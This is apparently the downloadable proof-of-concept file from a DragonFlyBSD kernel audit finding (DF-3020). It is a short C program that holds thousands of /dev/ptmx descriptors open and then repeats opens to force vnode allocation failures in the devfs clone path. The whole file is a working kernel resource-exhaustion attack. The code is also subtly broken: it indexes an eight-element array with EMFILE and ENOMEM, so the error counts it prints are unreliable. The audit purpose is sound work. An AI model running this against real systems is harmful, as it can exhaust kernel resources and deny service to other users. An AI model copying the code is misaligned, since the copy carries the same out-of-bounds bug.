⬢ DragonFlyBSD Kernel Audit
DF-3020 / df3020b.c
← back to finding ↓ download raw
/* DF-3020 v2: hold N ptmx slaves open to pin vnodes, then hammer opens so
 * getnewvnode() fails inside devfs_allocv's clone path. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/resource.h>
int main(int argc,char**argv){
    int hold=argc>1?atoi(argv[1]):2000;
    int *fds=malloc(hold*sizeof(int));
    struct rlimit rl; rl.rlim_cur=rl.rlim_max=10000; setrlimit(RLIMIT_NOFILE,&rl);
    int n=0;
    for(int i=0;i<hold;i++){ fds[i]=open("/dev/ptmx",O_RDWR); if(fds[i]>=0) n++; }
    printf("holding %d ptmx fds\n",n); fflush(stdout);
    long ok=0,fail=0; int errs[8]={0};
    for(long i=0;i<200000;i++){
        int m=open("/dev/ptmx",O_RDWR);
        if(m<0){ fail++; if(errno<8) errs[errno]++; if(fail<5) printf("fail errno=%d (%s)\n",errno,strerror(errno)); fflush(stdout);}
        else { close(m); ok++; }
    }
    printf("opens ok=%ld fail=%ld (EMFILE=%d ENFILE?=%d ENOMEM=%d)\n",ok,fail,errs[EMFILE],errs[4],errs[ENOMEM]);
    return 0;
}